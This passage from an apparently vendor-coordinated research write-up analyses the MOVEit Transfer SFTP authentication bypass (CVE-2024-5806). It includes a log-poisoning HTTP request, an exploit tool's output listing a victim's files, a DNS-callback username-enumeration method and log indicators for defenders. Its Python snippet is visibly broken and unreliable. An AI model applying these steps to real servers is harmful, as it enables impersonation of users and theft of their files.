Private-Lines: 1
Private-MAC: 9ef71.................................................edb1d3fc3e

We provided this data via a POST the the same endpoint as before:

POST /guestaccess.aspx HTTP/2
Host: {{host}}
Content-Length: 52
Content-Type: application/x-www-form-urlencoded

Comment: ""

And we noted that the key, again, made it into the logfiles. This time, however, when we tried to authenticate, the key was parsed correctly, and authentication was allowed, as before:

SILUser.ExecuteAuthenticators: Authenticating user 'user2' with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator
SILUser.ExecuteAuthenticators: User 'user2' authenticated with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator

Great! We’ve found a way to upload our SSH public key to the server without even logging in, and then use that key material to allow us to authenticate as anyone we want!

We’ll take our previous PoC - the code that we used to force authentication - and add a small stanza to inject the key file into the system logs.

Note that, in the default configuration, logs are flushed to disk every sixty seconds, and so we need to wait for this amount of time to be sure that our key has made it to disk.


# Make sure our keyfile is in the system logs
with open(ppkfile) as f:
    ppkFileData ="https://{host}/guestaccess.aspx", data={"transaction": "signoff", "Arg12": f"\\r\\n{ppkFileData}"})


The outcome is severe.

As per before, we are able to access files, with the only requirement being knowledge of a valid username. Also as per before, we’re able to retrieve sensitive files from the server, delete them, or otherwise do anything that the authenticated user can do.

But now, we have a trivial way regardless of any access to get our SSH public key placed onto the MOVEit Transfer server in a predictable manner.

Our finalised Python-based detection artefact generator tool (no, it’s not a PoC, that’s different - go away) can be found on our GitHub as usual.

It takes a key pair in both OpenSSH and PPK file formats, and will inject it into the logs on the server, before using it to authenticate as the supplied username. It will show the files on the server to demonstrate that it has logged in with all the privileges of the target.

C:\\code\\moveit> python --target-ip --target-user user2 --ppk id.ppk --pem id
                         __         ___  ___________
         __  _  ______ _/  |__ ____ |  |_\\__    ____\\____  _  ________
         \\ \\/ \\/ \\__  \\    ___/ ___\\|  |  \\|    | /  _ \\ \\/ \\/ \\_  __ \\
          \\     / / __ \\|  | \\  \\___|   Y  |    |(  <_> \\     / |  | \\/
           \\/\\_/ (____  |__|  \\___  |___|__|__  | \\__  / \\/\\_/  |__|
                                  \\/          \\/     \\/
        (*) Progress MoveIT Transfer SFTP Authentication Bypass (CVE-2024-5806)
          - Aliz Hammond, watchTowr (
          - Sina Kheirkhah (@SinSinology), watchTowr (
        CVEs: [CVE-2024-5806]

(*) Poisoning log files multiple times to be sure...
(*) Waiting 60 seconds for logs to be flushed to disk
(*) Attempting to authenticate..
(*) Trying to impersonate user2 using the server-side file path 'C:\\MOVEitTransfer\\Logs\\DMZ_WEB.log'
(+) Authentication succeeded.
(+) Listing files in home directory of user user2:

-rw-rw-rw- 1 0 0 1.4M Jun 11 11:39 stocks.xlsx
-rw-rw-rw- 1 0 0 2.4M Jun 13 13:32 customer_list.xlsx
-rw-rw-rw- 1 0 0 2.3M Jun 15 12:16 payroll_Jun.csv
-rw-rw-rw- 1 0 0 1.2M Jan 21 10:03 my_signature.png
-rw-rw-rw- 1 0 0  304 Jun 17 17:29 passwords.txt

Obtaining Usernames

This is, as we say, a devastating “limited scenario” vulnerability.

The only thing resembling a restriction is that an attacker must have a valid username to the SFTP subsystem in order to know who to impersonate. It is easy to imagine an attacker would use a list of usernames, perhaps from an email list, attempting the exploit with each in turn until one works.

Maybe dav1d_bl41ne was right? The limitation is population access to the Internet?

However, there is an additional way to use our attack to check if usernames are valid, allowing a dictionary-like attack, wherein an attacker could spray tokens such as email addresses or likely usernames.

This hinges on the fact that MOVEit will only access the public key file if the username provided is valid. We can simply attempt authentication for varying usernames, supplying a UNC path to a malicious server, and observe which usernames generate a file access.

For example, if we knew that fred.blogs@evil.corp was a valid user, we could attempt to exploit our forced authentication for fred.blogs, and specify a key location of \\\\\\foo.

If our malicious DNS server sees a lookup for this unique hostname - so, just requiring DNS outbound (ha ha please don’t pretend that you restrict outbound DNS), this allows us to pre-authentication determine if a username is valid.

If, on the other hand, we see no incoming connection, however, we would then repeat the auth request with a slightly different username - perhaps f.blogs or fblogs. Once we see an incoming DNS query for our next correlated and unique hostname, we know we’ve found a valid username.

To paint this very simply - we could generate a login request for fred.blogs and specify the key file to be located at \\\\\\foo . We could then examine watchTowr DNS server logs to see if anyone has attempted to resolve, and if they have, we know that the server has successfully validated that username and found it to be correct.

As before, we would generate multiple permutations of login names, but this time we would be able to send them faster since we have no need to wait for an incoming connection on each attempt. Rather, we can send all our requests, specifying separate domain names on each, and peruse the DNS server’s logs to see which generated a DNS lookup.

The Fix

Progress have developed and released patches, in the form of version 2024.0.2. The version on the SftpServer.exe binary has been bumped in this release to

Examining the patch confirms our analysis, as the two stanzas that did not set the StatusCode member have been patched to do so.

This fix prevents the corner-case we saw before. In the new version of the code, when authentication is denied, the StatusCode is also set, which prevents the calling code from mistakenly believing that authentication has partially succeeded.

Further changes appear to have taken place inside the IPWorks SSH library, perhaps in an attempt to harden it, although these seem to be in vain (see immediately below).

Further Fallout

While this CVE is being touted as a vulnerability in Progress MOVEit, which is technically correct, we feel that what we’re actually seeing is not a case of a single issue, but two separate vulnerabilities, one in Progress MOVEit and one in IPWorks SSH server.

While the more devastating vulnerability, the ability to impersonate arbitrary users, is unique to MOVEit, the less impactful (but still very real) forced authentication vulnerability is likely to affect all applications that use the IPWorks SSH server.

We attempted to verify this by building the IPWorks SSH samples, and found that they do, indeed, allow us to cause a forced SMB authentication, permitting us to use Responder to crack the resultant hashes (for reference, the version of the IPWorks Nuget package we tested was 24.0.8917).

This is of particular significance since other applications may not use the strong privilege separation (such as service accounts) that MOVEit entails, and may instead immediately expose administrator credentials allowing a full system compromise.

Mitigations and IoCs

This is a pretty bad attack, but there are at least some pieces of good news for defenders, at least.

Firstly, it’s important to note that exploitation of this attack requires knowledge of a valid username on the system. Although this is a low bar for attackers to overcome, it will help limit the progress of automated attacks.

In addition to requiring a valid username, the specified username must pass any IP-based restrictions, and so, locking down users to whitelisted IP addresses may provide a reduction in risk.

Because you do use extra controls, right? right?

Additionally, it may be of interest that the attack is necessarily quite noisy in terms of log entries. For example, the SftpServer.log file will log a failure to access the certificate store. Entries will appear like this:

2024-06-19 16:45:24.412 #0B z10 <0> (229464221718840721395) IpWorksKeyService: Caught exception of type IPWorksSSHException: The certificate store could not be opened.
Stack trace:
   at nsoftware.IPWorksSSH.Certificate..ctor(Byte[] certificateData)
   at MOVEit.Net.Ssh.IpWorksKeyService.ParseKeyContent(String keyContent)
   at MOVEit.Net.Ssh.IpWorksKeyService.GetKeyFingerprint(String keyContent, FingerprintType fingerprintType)

This error is indicating that IPWorks has failed to parse a key passed by the client, and is generated even when a valid key path is provided in place of a valid key blob itself.

The following message may also appear when attempting to impersonate other users. Note the two spaces between the words ‘fingerprint’ and user, where there would normally be an key hash:

2024-06-19 16:45:25.255 #0B z50 <0> (229464221718840721395) UserAuthRequestHandler: Validating client key fingerprint  for user user2

To contrast, a legitimate message would resemble the following.

2024-06-13 12:30:56.542 #04 z50 <0> (422095031718307051011) UserAuthRequestHandler: Client key fingerprint 54:c2:1f:33:ab:63:ff:39:bd:03:d2:62:a1:2e:f3:e0 already authenticated for user user1; continuing with user authentication process

Another notification of exploitation attempts is the following entry:

2024-06-19 18:25:59.843 #04 z10 <0> (500515741718846753874) UserAuthRequestHandler: SftpPublicKeyAuthenticator: Attempted to authenticate empty public key fingerprint

This indicates that a key has been provided by a file path, instead of as a blob of binary data. This is very unusual (and not part of the SSH specification), and unlikely to appear in normal use.

Finally, note that the following two messages are an indicator of exploitation only when they occur together on the same connection (the connection ID here is the same on both entries, ‘277614021718840671583’). The second entry, indicating that a password is required in addition to a key, may also be an indicator in its own if your environment is not configured to require such credentials.

2024-06-19 16:45:26.240 #07 z30 <0> (277614021718840671583) SILUser.ExecuteAuthenticators: User 'user2' was denied authentication with authenticator: MOVEit.DMZ.SftpServer.Authentication.SftpPublicKeyAuthenticator; ceasing authentication chain
2024-06-19 16:45:27.036 #07 z50 <0> (277614021718840671583) UserAuthRequestHandler: Client key validation successful but password is also required

Note that some of these log messages will be shown in the default logging configuration, while some will not - it may be useful to use our PoC code to validate your logging setup.


Clearly, this is a serious vulnerability. It is also somewhat difficult to diagnose, given the knowledge of the SSH protocol and a considerable .NET reverse-engineering effort required.

However, the presence of the Illegal characters in path exception should grab the attention of any other researchers who are searching for the vulnerability, and the relative simplicity of exploitation lends itself to ‘accidental’ discovery.

Once a researcher has found that a key can be loaded from a file, forced authentication is already possible, and it is reasonable to assume they could then stumble upon the ability to impersonate an arbitrary user simply by supplying their own key and seeing what happens.

It should be noted that, while MOVEit has suffered some ‘no brainer’ vulnerabilities in the past (such as SQLi), this issue does not fall into the ‘simple-error-that-should-not-have-made-it-into-hardened-software’ category.

The vulnerability arises from the interplay between MOVEit and IPWorks SSH, and a failure to handle an error condition. This is not the kind of vulnerability that could be easily found by static analysis, for example.

However, the presence of the thrown-and-then-caught exception does somewhat give the game away, and should have been a beacon for developers during code review.

It is not (yet) known how Progress located this issue, and indeed, this could’ve been exactly the case - a routine code review could have resulted in a developer locating the issue, finding the root cause, and realizing the danger to the authentication system that it posed. If this is indeed the case, we take our hats off to Progress for taking the issue as seriously as it deserves, and not attempting to sweep it under the rug, as we’ve seen other vendors do.

If this was an external party, similar kudos - epic.

On the other hand, though, we are somewhat troubled (could you guess?) by the advisory’s use of the term ‘limited scenarios’, as we can’t yet determine scenarios that could prevent trivial exploitation. Perhaps this is due to a misunderstanding of the severity of the issue by the vendor, or perhaps it is an ill-advised attempt to downplay the seriousness of its error - or perhaps, our analysis is wrong, and this is all by design.

Progress has been contacting customers for weeks/months to patch this issue - and have made good-faith efforts to ensure this has been done. We do not expect anyone to still be vulnerable due to the embargo, and the efforts taken proactively by Progress to ensure customers deployed patches.

If for some reason you don’t patch systems when a vendor reaches out to make you aware of a critical vulnerability that they are urging you to patch, please patch now.

At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of exploitable vulnerabilities that affect your organisation.

It's our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.

If you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.